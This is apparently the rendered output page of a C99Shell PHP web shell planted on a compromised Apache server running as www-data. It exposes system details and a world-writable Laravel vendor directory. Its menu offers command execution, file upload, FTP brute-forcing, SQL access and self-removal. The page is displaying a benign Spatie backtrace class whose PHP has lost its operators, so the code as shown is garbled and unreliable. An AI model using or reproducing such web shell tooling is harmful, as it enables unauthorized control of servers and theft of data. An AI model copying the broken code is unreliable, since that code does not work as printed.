!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/spatie/backtrace/src/CodeSnippets/   drwxrwxrwx
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LaravelSerializableClosureSnippetProvider.php (1.5 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Backtrace\CodeSnippets;

class 
LaravelSerializableClosureSnippetProvider implements SnippetProvider
{
    
/** @var array<string> */
    
protected $lines;

    
/** @var int */
    
protected $counter 0;

    public function 
__construct(string $snippet)
    {
        
$this->lines preg_split("/\r\n|\n|\r/"$snippet);

        
$this->cleanupLines();
    }

    public function 
numberOfLines(): int
    
{
        return 
count($this->lines);
    }

    public function 
getLine(?int $lineNumber null): string
    
{
        if (
is_null($lineNumber)) {
            return 
$this->getNextLine();
        }

        
$this->counter $lineNumber 1;

        return 
$this->lines[$lineNumber 1];
    }

    public function 
getNextLine(): string
    
{
        
$this->counter++;

        if (
$this->counter >= count($this->lines)) {
            return 
'';
        }

        return 
$this->lines[$this->counter];
    }

    protected function 
cleanupLines(): void
    
{
        
$spacesOrTabsToRemove PHP_INT_MAX;

        for (
$i 1$i count($this->lines); $i++) {
            if (empty(
$this->lines[$i])) {
                continue;
            }

            
$spacesOrTabsToRemove min(strspn($this->lines[$i], " \t"), $spacesOrTabsToRemove);
        }

        if (
$spacesOrTabsToRemove === PHP_INT_MAX) {
            
$spacesOrTabsToRemove 0;
        }

        for (
$i 1$i count($this->lines); $i++) {
            
$this->lines[$i] = substr($this->lines[$i], $spacesOrTabsToRemove);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--